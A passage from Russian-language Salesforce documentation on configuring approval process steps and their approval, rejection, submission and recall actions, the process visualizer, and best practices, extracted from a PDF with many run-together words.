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Прим.: Поле «Уникальное имя» можетсодержатьтолькобуквы, цифрыисимволыподчеркивания. Имядолжно
быть уникальным для выбранного типа объекта; должно начинаться с буквы; не может содержать пробелов и
двух последовательных символов подчеркивания, а также не может заканчиваться символом подчеркивания.
Уникальное имя будет использоваться для обращения к данному этапу конкретного процесса утверждения в
Force.com API. Уникальность требуется только для конкретного процесса утверждения. Одно уникальное имя
можетбытьзаданодвумэтапампроцессаутверждения, приусловиииспользованияразныхпроцессовутверждения.

4. Введитеномерэтапа, которыйопределяетпорядокегоотображенияотносительнодругихэтаповпроцессаутверждения.

5. Нажмите кнопку «Далее».

6. Если данный этап должен содержать только записи с определенными атрибутами, установите флажок «Данный
этап доступен следующим» и выберите одно из указанных ниже значений.

• Выберите параметр «критерии выполняются» и определите критерии фильтрации, которым должна
соответствовать запись для вхождения на данный этап. Например, если данный этап должен применяться только
к записям, отправленным сотрудниками головного офиса, введите следующийкритерийфильтрации: «"Текущий
пользователь": "Расположение офиса" равно "Головной офис"».

• Выберите параметр «значение формулы оценивается как истинное» и введите формулу, возвращающую
значение «Истина» или «Ложь». Записи входят на данный этап только в том случае, если формула возвращает
значение «Истина». Например, формула ниже гарантирует вхождение записи на данный этап утверждения, если
процент скидки записи превышает максимальную скидку последнего ответственного за утверждение.

(Discount_Percentage__c > $User.Discount_Threshold__c)

Дополнительную информацию офункциях, доступных в формулах утверждения, см. в разделе «Операторы и
функцииформулы» на странице 4632.

7. При наличии критериев фильтрации или формулы выберите действия, выполняемые над записями, которые не
соответствуют заданным критериям, или в случае возврата формулой значения «Ложь».

Прим.: Выбранное действие не может быть изменено после активации процесса утверждения, даже в случае
предварительной деактивации процесса утверждения.

Доступные значения:

утвердить запись
Автоматическое утверждение запроса и выполнение всех действий окончательного утверждения.

отклонить запись
Автоматическоеотклонениезапросаивыполнениевсехдействийокончательногоотклонения. Данныйпараметр
доступен только для первого этапа процесса утверждения.

перейти к следующему этапу
Автоматический пропуск данного этапа и переход к следующему этапу.

Важное замечание:

• Параметр «перейти к следующему этапу» доступен толькоприредактировании этапа, которомуназначен
следующий этап. Чтобы выбрать параметр «перейти к следующему этапу», создайте следующий этап и
выберите данный параметр на предыдущем этапе.

• Параметр «перейти к следующему этапу» недоступен для финального этапа процесса утверждения.

• Привыборепараметра «перейти к следующему этапу» иудалениивсехследующихэтаповсистемаSalesforce
автоматическиудаляетопределение «перейти к следующему этапу» изавершаетпроцесспринесоответствии
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критериям этапа. Тем не менее, при выборе параметра «перейти к следующему этапу» на первом этапе и
удалениивсех следующихэтапов система Salesforce автоматическиприменяет действие «отклонить запись»
при несоответствии критериям этапа.

• Привыборепараметра «перейти к следующему этапу» напервомэтапеинесоответствиизаписикритериям
для каждого этапа утверждения запись отклоняется.

8. Нажмите кнопку «Далее».

9. Выберите ответственного за утверждение запросов на данном этапе. Доступные значения:

Позволить отправителю вручную выбрать ответственного за утверждение.
Данный параметр разрешает пользователю вручную выбирать следующего ответственного за утверждение.

Автоматически назначать с помощью поля "Пользователь", выбранного ранее.
Данный параметр назначает запрос на утверждение пользователю, указанному в настраиваемом поле напротив.
Данное настраиваемое поле выбирается при настройке процесса утверждения.

Автоматически назначать очереди.
Параметрназначенияочередизапросовна утверждениедоступентолькодляобъектов, поддерживающихочереди.

Автоматически назначать ответственным за утверждение.
Данный параметр назначает запрос на утверждение как минимум одному указанному ниже пользователю.

Пользователь
Любой пользователь в организации.

Очередь
Параметр назначения очереди запросов на утверждение доступен только для объектов, поддерживающих
очереди.

Связанный пользователь
Пользователь, указанныйвлюбомполепоискаотправленнойзаписи (например, поле «Последнее изменение
сделано»).

Чтобы изменить количество ответственных за утверждение, воспользуйтесь параметрами «Добавить строку» и
«Удалить строку». Каждому этапу может быть задано не более 25 ответственных за утверждение.

Прим.: Ниже перечислены рекомендации по выбору ответственных за утверждение.

• Убедитесь, что назначенному ответственному за утверждение предоставлен доступ для чтения записей,
подлежащих утверждению. Например, пользователь, которому не предоставлен доступ для чтения к
настраиваемому объекту «Расходы», не может просматривать запросы на утверждение расходов.

• Функция электронного утверждениянедоступна для тех процессов утверждения, в которых ответственность
за утверждение назначена очереди.

• Ответственным за утверждение должно быть предоставлено полномочие «API включен», позволяющее
утверждать или отклонять запросы на утверждение посредством эл. почты.

• Запрос на утверждение может быть назначен одному пользователю на одном этапе несколько раз; система
Salesforce распознает подобные повторы и отправляет пользователю только один запрос на утверждение.

• Назначенные ответственные за утверждение на этапе текущей обработки записи не могут быть изменены
дажепривозвратепроцессаутверждениянаданныйэтапиизменениизначенийсвязанныхполейпользователя,
определяющих ответственных за утверждение. Например, процесс утверждения, первый этап которого
требует утверждения менеджером пользователя. При отклонении запроса на утверждение на втором этапе
и его возврате на первый этап первоначальный менеджер пользователя повторно получает запрос на
утверждение даже в случае изменения менеджера.
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• Если ответственность за утверждение назначена очереди:

– Любой участник очереди может утвердить или отклонить запрос, назначенный очереди.

– Электронные запросы на утверждение отправляются на адрес эл. почты очереди. Если очередь
поддерживаетотправку сообщенийэл. почтысвоимучастникам, то электронныезапросына утверждение
также отправляются участникам очереди, кроме участников, запретивших принимать сообщения эл.
почты, содержащие запросы на утверждение.

– Если запрос на утверждение назначен очереди, то соответствующее электронное уведомление также
отправляется делегированному ответственному за утверждение для каждого участника очереди.

– Электронные уведомления, отправляемые очереди, не предназначены для внешней аудитории, поэтому
любые экземпляры поля слияния {!ApprovalRequest.External_URL} в шаблоне эл. почты,
отправляются как эквивалентные внутренние URL-адреса.

– Уведомления Salesforce1 для запросов на утверждение не отправляются очередям.Рекомендуем добавить
отдельных пользователей в качестве назначенных ответственных за утверждение для каждого этапа
утверждения, использующегоочередь. Вэтомслучаеполучение уведомленийо запросахна утверждение
вприложенииSalesforce1будетдоступнохотябыданнымпользователям. Чтобыназначитьответственность
за утверждение очередям и отдельным пользователям, установите флажок «Автоматически назначать
ответственным за утверждение» вместофлажка «Автоматически назначать очереди» вэтапеутверждения.

– Еслизапроснаутверждениеотклоненивозвращенпредыдущемуответственномузаутверждение, которым
является очередь, то запрос на утверждение назначается утвердившему пользователю, но не очереди.

– Связанныйсписок «Журналутверждений» отображаетимяочередивстолбце «Назначено», афактического
пользователя, утвердившего или отклонившего запрос, в столбце «Фактический ответственный за
утверждение».

10. При выборе нескольких ответственных за утверждение в параметре «Автоматически назначать ответственным за
утверждение» выберите одно из указанных ниже значений.

Утвердить или отклонить на основеПЕРВОГО ответа.
Утверждение или отклонение записи определяется первым ответом на запрос.

Требовать ЕДИНОГЛАСНОГО утверждения от всех выбранных ответственных за утверждение.
Утверждение записи доступно только при единогласном утверждении запроса всеми ответственными. При
отклонении запроса любым ответственным запрос на утверждение отклоняется.

11. При необходимости установите флажок «Представитель ответственного за утверждение также может утвердить
данный запрос». Представитель — это пользователь, указанный в поле «Делегированный ответственный за
утверждение» на странице сведений о назначенном ответственном за утверждение. Делегированные ответственные
за утверждениянемогутпереназначать запросынаутверждение; онимогут толькоутверждатьилиотклонять запросы.

12. Если этап не является первым в процессе утверждения, выберите действие, которое должно выполняться при
отклонении запроса на данном этапе.

Выполнить все действия отклонения...
Автоматическое отклонение запроса, несмотря на его утверждение на предыдущих этапах. Система Salesforce
выполняет все действия отклонения, заданные для данного этапа, и все действия окончательного отклонения.

Выполните ТОЛЬКО действия отклонения для данного этапа...
Автоматическое отклонение и возврат запроса предыдущему ответственному за утверждение. Система Salesforce
выполняет все действия отклонения, заданные для данного этапа.
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Прим.: Действия отклонения для первого этапа процесса утверждения определяются параметром «Действия
окончательного отклонения» для процесса утверждения.

13. Нажмите кнопку «Сохранить».

14. Выберите действия бизнес-правила, которые должны выполняться на данном этапе.

Да, создать действие утверждения...
Чтобы создать действие и связать его с данным этапом утверждения, выберите тип действия и нажмите кнопку
«Начать».

Да, создать действие отклонения...
Чтобы создать действие и связать его с данным этапом утверждения, выберите тип действия и нажмите кнопку
«Начать».

Нет, сделать это позже...
Чтобы просмотреть сведения о процессе утверждения, выберите данный параметр и нажмите кнопку «Начать».

Действия утверждения выполняются при утверждении записи на данном этапе процесса утверждения. Действия
отклонения выполняются при отклонении записи на данном этапе.

15. При необходимости добавьте дополнительные действия утверждения и отклонения на этап. Чтобы просмотреть
связанные списки «Действия утверждения» и «Действия отклонения», щелкните «Показать действия» напротив
нужного этапа.

СМ. ТАКЖЕ:

Начало работы с утверждениями

Управление этапами утверждения

Средство визуализации процессов

Включение электронного утверждения
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Управление этапами утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования или
удаления этапов
утверждения:
• «Настройка

приложения»

Для просмотра этапов
утверждения:
• «Просмотр настройки и

конфигурации»

Этапы утверждения назначают различным пользователям запросы на утверждение и
определяютпоследовательностьвыполненияотдельныхпроцессовутверждения. Каждый
этап утверждения определяет атрибуты, которые должны быть назначены записи для
вхождения на данный этап, пользователя, ответственного за утверждение запросов, и
возможность утверждения запросов представителем ответственного за утверждение.
Первый этап утверждения определяет действие, которое должно быть выполнено, если
запись не входит на данный этап. Последующие этапыпроцесса позволяютопределять
действия, выполняемые при отклонении запроса.

Чтобыуправлятьэтапамивпроцессеутверждения, вразделе «Настройка» введите Процессы
утверждения вполе «Быстрый поиск», затемвыберите «Процессыутверждения», после
чего выберите нужный процесс утверждения.

Связанный список «Этапы утверждения» содержит все этапы и действия для процесса
утверждения.

• Чтобы просмотреть связанные списки «Действия утверждения» и «Действия
отклонения», содержащие действия для каждого этапа, щелкните «Показать
действия». Ниже перечислены действия, доступные в данных связанных списках.

– Чтобы изменить действие, щелкните «Правка». Любые изменения, внесенные
в действие, влияют на другие соответствующие процессы утверждения и
бизнес-правила.

– Чтобы удалить действиеиз процесса утверждения, щелкните «Удалить». Данная
операция не удаляет само действие.

– Чтобыдобавить другое действие в список действий, нажмите кнопку «Добавить
существующее». См. раздел «Выбор действий утверждения» на странице 4851.

– Чтобы создать действие и связать его с процессом утверждения, нажмите кнопку
«Добавитьновое» и выберите соответствующий тип.См. раздел «Создание действий утверждения» на странице
4851.

• Чтобы свернуть список этапов утверждения, щелкните «Скрыть действия».

• Чтобы изменить этап, щелкните ссылку «Правка». Дополнительнуюинформациюоб атрибутах этапа утверждения
см. в разделе «Создание этапа утверждения» на странице 4845.

• Чтобы удалить этап, щелкните ссылку «Удал.». Данный параметр недоступен для активного процесса утверждения.

• Чтобы создать дополнительный этап, щелкните «Создать этап утверждения». Данный параметр недоступен для
активного процесса утверждения. См. раздел Создание этапа утверждения на странице 4845.

СМ. ТАКЖЕ:

Средство визуализации процессов
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Создание действий утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания действий
утверждения:
• «Настройка

приложения»

Действия утверждениямогут быть связаныс этапамиутверждения, исходнойотправкой,
окончательным утверждением, окончательным отклонением или отзывом. Например,
система Salesforce позволяет создать процесс утверждения расходов, который должен
отправлятьисходящее сообщениев службубухгалтерского учета Oracle дляпечатичеков
о расходах при утверждении запросов на утверждение расходов.

Чтобы создать действие утверждения, выполните указанные ниже действия.

1. В разделе «Настройка» введите «Процессы утверждения» в поле «Быстрый поиск»,
затем выберите «Процессы утверждения».

2. Выберите процесс утверждения, который должен быть связан с действием.

3. Нажмите кнопку «Добавить новое» в соответствующем связанном списке. Чтобы
просмотреть скрытые действия, щелкните «Показать действия» при создании
действий для этапа утверждения.

4. Выберитенужныйтипдействия. Списокдоступныхдействийопределяетсязаданными
параметрами и превышением ограничения по любому типу действия.

Прим.: Действия, созданные для процессов утверждения, могут повторно
использоваться в бизнес-правилах.

СМ. ТАКЖЕ:

Начало работы с утверждениями

Терминология по процессам утверждения

Средство визуализации процессов

Выбор действий утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для выбора действий
утверждения:
• «Настройка

приложения»

Действия утверждениямогут быть связаныс этапамиутверждения, исходнойотправкой,
окончательным утверждением, окончательным отклонением и отзывом. При
необходимости данные действия могут повторно использоваться в бизнес-правилах.

Перед началом работы, в разделе «Настройка» введите «Процессы утверждения» в поле
«Быстрый поиск», затем выберите «Процессы утверждения», после чего выберите
процесс утверждения, который должен связываться с этими действиями.

1. Нажмитекнопку «Добавитьсуществующее» в соответствующемсвязанномсписке
на странице сведений о любом процессе утверждения. Если кнопка «Добавить
существующее» не отображается, нажмите кнопку «Показать действия».

Чтобы создать действие и применить его к выбранному процессу утверждения,
нажмите кнопку «Добавить новое». Дополнительную информацию о создании
действий см. в разделе «Создание действий утверждения» на странице 4851.

2. Выберите нужный тип действия.
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ОписаниеТип

Назначение задачи выбранному пользователю. При необходимости заполните
следующие поля задачи: «Тема», «Статус», «Приоритет» и «Крайний срок».

Задача

Использование выбранного шаблона эл. почты для отправки сообщения эл. почты
выбранному получателю.

Электронное
предупреждение

Изменение значения выбранного поля. При необходимости укажите значение или
создайте формулу для нового значения.

Обновление поля

Отправка сообщения выбранной конечной точке. При необходимости укажите имя
пользователя и дату, которые должны быть добавлены в сообщение.

Исходящее сообщение

3. Чтобы добавить действие в список выбранных действий, выберите нужное действие в списке доступных действий и
нажмите кнопку «Добавить».

4. Сохраните внесенные изменения.

Действия исходной отправки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования действий
исходной отправки:
• «Настройка

приложения»

Действияисходнойотправки — этодействия, выполняемыеприпервойотправке записи
на утверждение. По умолчанию исходная отправка инициирует автоматическую
блокировку записи. Действиями исходной отправки считаются любые действия
утверждения (например, электронные предупреждения, обновления полей, задачи или
исходящиесообщения). Например, действиеисходнойотправкиможет задать значение
«Выполняется» настраиваемому полю «Статус утверждения».

Приотправке записина утверждение система Salesforceотправляет электронныйзапрос
ответственному за утверждение, а затем выполняет стандартное действие исходной
отправки — «Блокировка записи». Исходная отправка записи на утверждение может
сопровождаться 40 дополнительными действиями (по 10 действий каждого типа).

ОписаниеТип

Назначение задачи выбранному пользователю. При
необходимости заполните следующие поля задачи: «Тема»,
«Статус», «Приоритет» и «Крайний срок».

Задача

Использование выбранного шаблона эл. почты для отправки
сообщения эл. почты выбранному получателю.

Электронное
предупреждение

Изменение значения выбранного поля. При необходимости
укажите значение или создайте формулу для нового значения.

Обновление поля

Отправка сообщения выбранной конечной точке. При
необходимости укажите имя пользователя и дату, которые
должны быть добавлены в сообщение.

Исходящее
сообщение

Чтобы управлять действиямиприпервоначальном заявлении, в разделе «Настройка» введите Процессы утверждения в поле
«Быстрый поиск», затем выберите «Процессы утверждения», после чего выберите нужный процесс утверждения.
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Связанный список «Действия исходной отправки» содержит все действия, выполняемые при отправке записи на
утверждение.

• Чтобы изменить действие, щелкните «Правка». Любые изменения, внесенные в действие, влияют на другие
соответствующие процессы утверждения и бизнес-правила.

• Чтобы удалить действие из процесса утверждения, щелкните «Удалить». Данная операция не удаляет само действие.

• Чтобыдобавить другое действие в список действий, нажмите кнопку «Добавитьсуществующее». See Select Approval
Actions на странице 4851.

• Чтобы создать действие и связать его с процессом утверждения, нажмите кнопку «Добавить новое» и выберите
соответствующий тип. Next, configure the action.

СМ. ТАКЖЕ:

Начало работы с утверждениями

Средство визуализации процессов

Терминология по процессам утверждения

Действия окончательного утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования действий
окончательного
утверждения:
• «Настройка

приложения»

Действияокончательногоутверждения — этодействия, выполняемыеприналичиивсех
обязательныхутвержденийзаписи. Действиямиокончательногоутверждениясчитаются
электронные предупреждения, обновления полей, задачи или исходящие сообщения.
Например, действиеокончательногоутвержденияможетназначитьстатус «Утверждено»
и отправить электронное уведомление.

Если запись утверждена всеми ответственными за утверждение, то система Salesforce
выполняет все действия окончательного утверждения. Стандартным действием
окончательного утверждения является действие «Блокировка записи». При
необходимости данное значение может быть изменено. Окончательное утверждение
записиможетсопровождаться40дополнительнымидействиями (по10действийкаждого
типа).

ОписаниеТип

Назначение задачи выбранному пользователю. При
необходимости заполните следующие поля задачи: «Тема»,
«Статус», «Приоритет» и «Крайний срок».

Задача

Использование выбранного шаблона эл. почты для отправки
сообщения эл. почты выбранному получателю.

Электронное
предупреждение

Изменение значения выбранного поля. При необходимости
укажите значение или создайте формулу для нового значения.

Обновление поля

Отправка сообщения выбранной конечной точке. При
необходимости укажите имя пользователя и дату, которые
должны быть добавлены в сообщение.

Исходящее
сообщение

Чтобы управлять окончательными действиями утверждения, в разделе «Настройка» введите Процессы утверждения в поле
«Быстрый поиск», затем выберите «Процессы утверждения», после чего выберите нужный процесс утверждения.
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Связанный список «Действия окончательного утверждения» содержит все действия, выполняемые при окончательном
утверждении записи.

• Чтобы изменить действие, щелкните «Правка». Любые изменения, внесенные в действие, влияют на другие
соответствующие процессы утверждения и бизнес-правила.

• Чтобы удалить действие из процесса утверждения, щелкните «Удалить». Данная операция не удаляет само действие.

• Чтобыдобавить другое действие в список действий, нажмите кнопку «Добавитьсуществующее». See Select Approval
Actions на странице 4851.

• Чтобы создать действие и связать его с процессом утверждения, нажмите кнопку «Добавить новое» и выберите
соответствующий тип. Next, configure the action.

СМ. ТАКЖЕ:

Начало работы с утверждениями

Средство визуализации процессов

Терминология по процессам утверждения

Действия окончательного отклонения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования действий
окончательногоотклонения:
• «Настройка

приложения»

Действия окончательного отклонения — это действия, выполняемые при отклонении
запроса ответственным за утверждение. Действиями окончательного отклонения
считаются электронные предупреждения, обновления полей, задачи или исходящие
сообщения. Например, действие окончательного отклонения может назначить статус
«Отклонено», отправить электронное уведомление и разблокировать запись для ее
редактирования перед повторной отправкой.

Если запись отклонена всеми ответственными за утверждение, то система Salesforce
выполняет все действия окончательного отклонения. Стандартным действием
окончательногоотклоненияявляетсядействие «Блокировказаписи». Принеобходимости
данное значение может быть изменено. Отклонение записи может сопровождаться 40
дополнительными действиями (по 10 действий каждого типа).

ОписаниеТип

Назначение задачи выбранному пользователю. При
необходимости заполните следующие поля задачи: «Тема»,
«Статус», «Приоритет» и «Крайний срок».

Задача

Использование выбранного шаблона эл. почты для отправки
сообщения эл. почты выбранному получателю.

Электронное
предупреждение

Изменение значения выбранного поля. При необходимости
укажите значение или создайте формулу для нового значения.

Обновление поля

Отправка сообщения выбранной конечной точке. При
необходимости укажите имя пользователя и дату, которые
должны быть добавлены в сообщение.

Исходящее
сообщение

Чтобы управлять окончательными действиями по утверждении, в разделе «Настройка» введите Процессы утверждения в
поле «Быстрый поиск», затемвыберите «Процессыутверждения», послечего выберитенужныйпроцесс утверждения.
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• Связанныйсписок «Действияокончательногоотклонения» содержитвсе действия, выполняемыеприокончательном
отклонении записи.

• Чтобы изменить действие, щелкните «Правка». Любые изменения, внесенные в действие, влияют на другие
соответствующие процессы утверждения и бизнес-правила.

• Чтобы удалить действие из процесса утверждения, щелкните «Удалить». Данная операция не удаляет само действие.

• Чтобыдобавить другое действие в список действий, нажмите кнопку «Добавитьсуществующее». See Select Approval
Actions на странице 4851.

• Чтобы создать действие и связать его с процессом утверждения, нажмите кнопку «Добавить новое» и выберите
соответствующий тип. Next, configure the action.

СМ. ТАКЖЕ:

Начало работы с утверждениями

Средство визуализации процессов

Терминология по процессам утверждения

Действия отзыва

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования действий
отзыва:
• «Настройка

приложения»

Действия отзыва — это действия, выполняемые при отзыве отправленного запроса на
утверждение. Поумолчаниюотзывинициирует автоматическуюразблокировку записи.
Действиямиотзыва считаются электронныепредупреждения, обновленияполей, задачи
илиисходящие сообщения. Например, действие отзыва может изменить статус запроса
«Выполняется» на «Не отправлено».

При установке флажка «Разрешить отправителям отзывать запросы на
утверждение» отправителям и администраторам доступна кнопка «Отозвать запрос
на утверждение» в связанном списке «Журнал утверждений» на странице сведенийоб
отправленных записях. В противном случае данная кнопка доступна только
администраторам.При нажатии кнопки «Отозвать запрос на утверждение»
отложенныйзапросна утверждение записиотменяетсяи выполняютсядействияотзыва.

Если запись отзывается после отправки, то система Salesforce выполняет все действия
отзыва, включая разблокировку записи. Отзыв записи может сопровождаться 40
дополнительными действиями (по 10 действий каждого типа).

ОписаниеТип

Назначение задачи выбранному пользователю. При
необходимости заполните следующие поля задачи: «Тема»,
«Статус», «Приоритет» и «Крайний срок».

Задача

Использование выбранного шаблона эл. почты для отправки
сообщения эл. почты выбранному получателю.

Электронное
предупреждение

Изменение значения выбранного поля. При необходимости
укажите значение или создайте формулу для нового значения.

Обновление поля

Отправка сообщения выбранной конечной точке. При
необходимости укажите имя пользователя и дату, которые
должны быть добавлены в сообщение.

Исходящее
сообщение

4855

УтвержденияРасширение Salesforce посредством интерактивных
инструментов



Чтобыуправлятьдействиямипоотзывудляпроцесса утверждения, вразделе «Настройка» введите «Процессы утверждения»
вполе «Быстрый поиск», затемвыберите«Процессыутверждения», послечеговыберитенужныйпроцессутверждения.

Связанный список «Действия отзыва» содержит все действия, выполняемые при отзыве записи.

• Чтобы изменить действие, щелкните «Правка». Любые изменения, внесенные в действие, влияют на другие
соответствующие процессы утверждения и бизнес-правила.

• Чтобы удалить действие из процесса утверждения, щелкните «Удалить». Данная операция не удаляет само действие.

• Чтобыдобавитьдругоедействие в списокдействий, нажмите кнопку «Добавитьсуществующее». См. раздел «Выбор
действий утверждения» на странице 4851.

• Чтобы создать действие и связать его с процессом утверждения, нажмите кнопку «Добавить новое» и выберите
соответствующий тип. Затем настройте действие.

СМ. ТАКЖЕ:

Начало работы с утверждениями

Средство визуализации процессов

Терминология по процессам утверждения

Средство визуализации процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Используйте средство визуализации процессов для решения следующих задач.

• Отображения блок-схемы каждого сохраненного процесса утверждения.

• Повышение взаимодействия между ответственными за процессы утверждения и
ответственными за закрытие сделки.

• Внедрение политик компании путем документирования решений, принятых при
разработке процесса утверждения.

• Печать аннотированной версии процесса утверждения, где числа, добавленные в
диаграмму, соответствуют сведениямиз таблицы, отображаемой в печатной версии.

• Совместное использование диаграмм процессов утверждения путем сохранения
аннотированных версий в виде PDF-файлов (требуется наличие драйвера печати
Adobe® PDF).

• Быстрыйпоискосновныхсведенийпутемпоискасовпадающеготекставкомплексных
диаграммах.

• Визуализация и инфограмма:

– Этапы, необходимые для утверждения записи.

– Выбранные ответственные за утверждение для каждого этапа.

– Критерии, используемые для инициирования процесса утверждения.

– Специальные действия, которые должны быть выполнены при утверждении, отклонении, отзыве или
первоначальной отправке записи на утверждение.

Запуск средства визуализации процессов.

СМ. ТАКЖЕ:

Запуск средства визуализации процессов.
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Запуск средства визуализации процессов.

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра этапов
утверждения:
• «Просмотр настройки и

конфигурации»

Прежде чем использовать средство визуализации процессов, рекомендуем выполнить
указанные ниже действия.

• Включите или загрузите модуль Adobe Flash Player 9.0.115 или более поздней версии.

• Убедитесь в наличии как минимум одного процесса утверждения, заданного в
организации.

После выполнения предварительных действий...

1. В разделе «Настройка» введите «Процессы утверждения» в поле «Быстрый поиск»,
затем выберите «Процессы утверждения».

2. Щелкните имя нужного процесса утверждения.

3. Щелкните«Просмотрдиаграммы»настраницесведенийопроцессеутверждения.

Диаграммы процессов утверждения доступны только для просмотра. Средство
визуализации процессов не может использоваться для обновления процессов
утверждения. Чтобыпросмотретьобновленияпосле сохраненияизменений, внесенных
в процесс утверждения, щелкните «Просмотр диаграммы» или нажмите кнопку
«Обновить» в открытом окне средства визуализации процессов.

СМ. ТАКЖЕ:

Средство визуализации процессов

Рекомендации для процессов утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Преждечемвнедритьпроцессутверждениядляорганизации, просмотритерекомендации
ниже.

• Активныепроцессыутверждениянемогутбытьудалены. Преждечемудалитьпроцесс
утверждения, убедитесь, что данный процесс неактивен, а записи, отправленные на
утверждение, отсутствуют. В противном случае удалите отправленные записи и
очистите корзину.

• При необходимости включите функцию электронного утверждения. Функция
электронного утверждения позволяет пользователям утверждать или отклонять
электронныезапросыпутемотправкиответанасообщениеэл. почты. Ответственным
заутверждениедолжнобытьпредоставленополномочие «API включен», позволяющее
утверждать или отклонять запросы на утверждение посредством эл. почты.

• Если объект утверждения становится подробным во взаимосвязи
«Основная — подробная», тополе «Ответственный» недоступнодлямакетовстраниц
утверждения или шаблонов сообщений об утверждении.

• Сообщитепользователямкритериикаждогопроцессаутвержденияивыполняемыеимдействия. Процессутверждения,
инициируемый при нажатии кнопки «Отправить на утверждение», неизвестен пользователям.

• Записи, находящиеся впроцессе утверждения, блокируются. Возможностьредактирования заблокированнойзаписи
определяется параметрами редактируемости записи, заданными для процесса утверждения.

– «ТОЛЬКО администраторы»: редактирование заблокированных записей доступно только пользователям с
полномочием «Изменить все» для данного объекта или полномочием «Изменение всех данных».
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– «Администраторы или текущий назначенный ответственный за утверждение...»: редактирование
заблокированныхзаписейдоступнотекущемуответственномуза утверждениеипользователям, соответствующим
критерию «ТОЛЬКО администраторы». Кроме того, текущему ответственному за утверждение должен быть
предоставлен доступ для редактирования записи посредством полномочий и единых стандартных параметров
общего доступа для данного объекта.

При необходимости участники кампании могут быть добавлены в кампании, заблокированные для утверждения.

• Пользователь с одним из нижеуказанных полномочий может утверждать или отклонять отложенные запросы на
утверждение, не являясь частью процесса утверждения.

– Полномочие «Изменить все» для данного объекта

– Полномочие «Изменение всех данных»

• Потоки могут удалять записи, находящиеся в процессе утверждения.

• Процессы утверждения, позволяющие пользователям вручную выбирать ответственного за утверждение, также
позволяют отправлять запрос на выбор самого себя в качестве ответственного за утверждение.

• Процесс утверждения может задавать действие обновления поля, выполняющее повторную оценку бизнес-правил
для обновленного объекта. Однако, обновления полей кросс-объекта, которые могут быть доступны в повторно
оцененных бизнес-правилах, пропускаются.

• Обновления полей, выполняемые как действия утверждения, не инициируют бизнес-правила.

Сообщения об ошибках
• Сообщение об ошибке отображается для пользователя, отправляющего запрос на утверждение:

– Если запрос на утверждение должен направлен непосредственному руководителю пользователя, но данному
пользователю не назначен непосредственный руководитель.

– Еслипроцесс утверждениясодержитобновлениеполя, котороене удовлетворяет стандартнымправилампроверки
поля. Такое возможно, если поле недоступно в макете страницы пользователя.

Прим.: Обновления полей не выполняют оценку настраиваемых правил проверки для полей.

• Сообщение об ошибке отображается для пользователя, отправляющего запрос на утверждение, для права или
сервисного контракта, если выполнены оба следующих условия:

– Процесс утверждения содержит поле «Ответственный за запись», отображающее исходного отправителя.

– Пользователь, отправляющий запрос на утверждение, не несет ответственность за организацию, связанную с
правом или сервисным контрактом.

• Сообщение об ошибке отображается для пользователя, утверждающего или отклоняющего несколько записей, если
следующийответственныйзаутверждениеотсутствует, асвязанныепроцессыутверждениятребуютвыбораследующего
ответственного за утверждение вручную. Воизбежание данного сообщенияобошибке, рекомендуем утверждатьили
отклонять каждую запись по отдельности.

• Сообщение об ошибке отображается, если следующий ответственный за утверждение является связанным
пользователем или пользователем из иерархии ролей, который, в свою очередь, не активен или не существует.
Рекомендуем администраторам проверять процессы утверждения на наличие неактивных или несуществующих
пользователей.

Утверждения и очереди
• Параметр назначения очереди запросов на утверждение доступен только для объектов, поддерживающих очереди.
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• Функция электронного утверждения недоступна для тех процессов утверждения, в которых ответственность за
утверждение назначена очереди.

• Группа или очередь не может быть назначена в качестве делегированного ответственного за утверждение.

• Если ответственность за утверждение назначена очереди:

– Любой участник очереди может утвердить или отклонить запрос, назначенный очереди.

– Электронные запросы на утверждение отправляются на адрес эл. почты очереди. Если очередь поддерживает
отправку сообщений эл. почты своим участникам, то электронные запросы на утверждение также отправляются
участникам очереди, кроме участников, запретивших принимать сообщения эл. почты, содержащие запросы на
утверждение.

– Еслизапросна утверждениеназначеночереди, то соответствующееэлектронное уведомление такжеотправляется
делегированному ответственному за утверждение для каждого участника очереди.

– Электронные уведомления, отправляемые очереди, не предназначены для внешней аудитории, поэтому любые
экземпляры поля слияния {!ApprovalRequest.External_URL} в шаблоне эл. почты, отправляются как
эквивалентные внутренние URL-адреса.

